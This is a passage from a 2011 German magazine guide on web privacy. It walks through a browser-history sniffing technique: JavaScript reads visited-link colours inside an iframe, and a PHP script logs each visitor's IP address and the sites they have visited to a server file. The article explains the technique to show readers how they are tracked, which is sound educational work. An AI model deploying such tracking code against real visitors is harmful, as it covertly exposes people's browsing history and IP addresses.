Datenschutz im Web

HTML-Baum

15.3.2011 von Wolf Hosbach

ca. 3:30 Min
Ratgeber
VG Wort Pixel
  1. So werden Sie beim Surfen auspioniert
  2. HTML-Baum
  3. Dynamisches Webdesign

imrahmen.html

Im Iframe sitzt die prekäre Seite, die die URLs abfragt. Sie enthält zuerst die Linkliste, wobei jeder Link mit einer ID versehen ist, die wir mit dem Skript abfragen können. Zum Beispiel:

<a id="l1" href="http://www.magnus.de">Magnus</a><br>

Dann brauchen wir das Script stiltest(), das beim Laden der Webseite startet:

<body onload="stiltest()">

jsskript.js

image.jpg
Das JavaScript erkennt, welche Farbe ein Link hat: Rot, Grün, Grün (hier im Internet-Explorer).
© PC Magazin

Das Skript selbst haben wir ausgelagert in die Datei jsskript.js. Hier findet nun der eigentliche Diebstahl statt. Link für Link prüfen wir, welchen aktuellen Stil sie besitzen. Um mit JavaScript auf ein Element im HTML-Baum zugreifen zu können, eignet sich der Befehl document.getElementById(,id').

Die ID haben wir den einzelnen Links in der HTML-Seite ja verpasst, in unserem Beispiel document.getElementById(,l1'). Als Ergebnis bekommen wir den Link selbst, was wir weiter unten benötigen, aber derzeit interessiert uns der aktuelle Stil des Links: Rot oder Grün? Bei dessen Ermittlung gehen Firefox und IE mal wieder verschiedene Wege.

Bei Firefox heißt der Parameter window.getComputedStyle, beim IE einfach nur .currentStyle. In beiden Fällen muss der Programmierer dem Browser noch mitteilen, welchen Stil er sehen möchte, in unserem Fall die Farbe: color. Beim IE sieht der ganze Ausdruck so aus:

document.getElementById("l1").currentStyle.color

Beim Firefox hingegen so:

window.getComputedStyle(document.
getElementById("l1"), "").getPropertyValue("color")

Auch das Ergebnis sieht verschieden aus: Der IE liefert das, was wir in die CSS-Datei geschrieben hatten: red oder green. Firefox hingegen den RGB-Zahlenwert der Farbe rgb(255, 0, 0) oder rgb(0, 128, 0).

Wir beginnen das Skript also mit einer Fallunterscheidung IE/Firefox und testen bei jedem Link den aktuellen Stil. Falls er besucht (red oder rgb(255, 0, 0)) ist, setzen wir die Variable xy auf besucht. Ein Beispiel für den IE:

if ((x2 = document.getElementById
("l2").currentStyle.color) == "red") x2= "besucht";

image.jpg
Das PHP-Skript meldet die IP-Adresse des Besuchers und welche Seiten dieser besucht hat.
© PC Magazin

Anschließend lesen wir die Links selbst wie oben bereits angedeutet mit document.getElementById(,id') in weitere Variablen (x11 usw.). In unserem Beispielskript auf der DVD haben wir als Variablen drei Links (x11, x22, x33) und drei Besucht-Zustände (x1, x2, x3), die wir dem PHP-Skript phpskript.php auf dem Server übergeben. Die Übergabe erfolgt mit den Parametern para1, para2, para3 für die Zustände und para11, para22, para33 für die Links selbst.

Der Aufruf erfolgt mit dem Befehl self.location.href. Die Adresse ist der Name des Skripts ./phpskript.php, gefolgt von den Parametern. Die Parameter leitet der PHP-Programmierer mit einem ? ein, und jeder Parameter ist mit einem & getrennt, zum Beispiel ./phpskript.php?para1=besucht&para11=http://www.magnus.de. In unserem Java Skript sieht das so aus:

self.location.href = "./phpskript.php?para1=" + x1 + "&para11=" + x11 + "&para2=" + x2 + "&para22=" + x22 + "&para3=" +x3 + "&para33=" +x33;

phpskript.php

Im PHP-Skript besorgen wir uns zuerst die IP-Adresse des Besuchers sowie Datum und Uhrzeit des Besuchs:

$ip = $_SERVER["REMOTE_ADDR"];
$uhr = date("H:i",time());
$datum = date("d.m.Y",time());

Nun wollen wir auf die Parameter zugreifen, die das JavaScript mit der URL übergeben hat. Das erfolgt mit dem Befehl $_GET["xyz"] in unserem Fall zum Beispiel mit $_GET["para11"]. Die Zustände (besucht oder nicht besucht) fanden sich in den Parametern para1 bis para3, die wir nun vergleichen: Wenn besucht, dann schreibt das Skript den Satz: IP-Adresse xyz hat www.xyz.de besucht.

Andernfalls schreibt es den Satz IP-Adresse xyz hat www.xyz.de nicht besucht. Für jede Webadresse landet solch ein Satz in einer Variable y1 bis y3. Ein Beispiel:

if ($_GET["para3"] == "besucht") $y3 =
"$ip hat ".$_GET["para33"]." besucht";
else $y3 = "$ip hat ".$_GET["para33"]."
nicht besucht";

Mit dem Befehl print geben wir die Ergebnisse einmal am Bildschirm aus, was der Browser im Iframe der Webseite darstellt:

10.01.2011 14:03
217.64.171.188 hat http://www.magnus.de/ nicht besucht 217.64.171.188 hat http://www.tagesschau.de/ besucht 217.64.171.188 hat http://www.spiegel.de/ nicht besucht

Bösartiger ist es, wenn der Serverbetreiber die Ergebnisse in einer Datei ergebnisse.txt auf dem Server speichert. Der Programmierer öffnet diese Datei im Skript mit fopen:

$ergebnisse = fopen("./ergebnisse.txt","a");

Der Parameter a gibt dabei an, dass PHP neue Inhalte unten am Dateiende anhängt. Dann schreibt der Programmierer die Ergebnisse hinein und schließt sie wieder:

fwrite($ergebnisse,$datum." ".$uhr."\
r\n".$y1."\r\n".$y2."\r\n".$y3."\r\n\r\n");
fclose($ergebnisse);

\r\n bilden dabei den Windows-üblichen Zeilenumbruch.

Mehr lesen

Chronologische Liste und Netflix-Links

Marvel-Filme- und -Serien: Das ist die richtige Reihenfolge

Neuerscheinungen in der Übersicht

Netflix: Neue Filme und Serien

Vorschau auf Film- und Serien-Highlights

Amazon Prime Video: Neuheiten

Weiter zur Startseite  

Mehr zum Thema

Crossplay-Spiele

Cross-Platform-Play

Crossplay-Spiele für PC, PS4 & PS5, Xbox One &…

Welche Games für PC, PS4, PS5, Xbox One, Xbox Series oder Nintendo Switch lassen sich online zusammen spielen? Unsere Crossplay-Listen zeigen, wo es…

Grafikkarte optimal einstellen

GPUs mit Echtzeit-Raytracing

Nvidia & AMD: Wann kommen neue Grafikkarten?

Ende 2020 startete Nvidias RTX 3000. AMD folgte mit RX 6000. Wann kommen neue Grafikkarten? Update: "RTX 30 Super"-Specs und Datum für RX 6600.

MacBook Pro

Neue Macbook-Generation

Apple Macbook Pro 2021: Alle Infos zu Release, Preis und…

Auch in diesem Jahr wird ein neues Modell von Apples beliebtem Macbook Pro erwartet. Wir sammeln alle Infos zu Release, Preis und technischen Daten.

Gratis-Spiele-bei-Steam-und-Epic

Vollversionen geschenkt & zum Antesten

Gratis-Spiele bei Steam, Epic, Humble Bundle & mehr im…

In dieser Übersicht zeigen wir Ihnen jeden Monat die Spiele, die Sie kostenlos bei Steam, im Epic Games Store, im Humble Bundle und mehr erhalten.

Das Xiaomi Pad 5 startet am 23. September um 9 Uhr. Für 24 Stunden gibt's den ersten richtig guten Rabatt.

Erstkäufer-Rabatt

Xiaomi Pad 5 kaufen: Early-Bird-Aktion bringt 100 Euro…

Für das Xiaomi Pad 5 gibt's gleich zum Release ein Top-Angebot: Wer schnell zuschlägt, kann das Tablet für 300 Euro statt 400 Euro erhalten.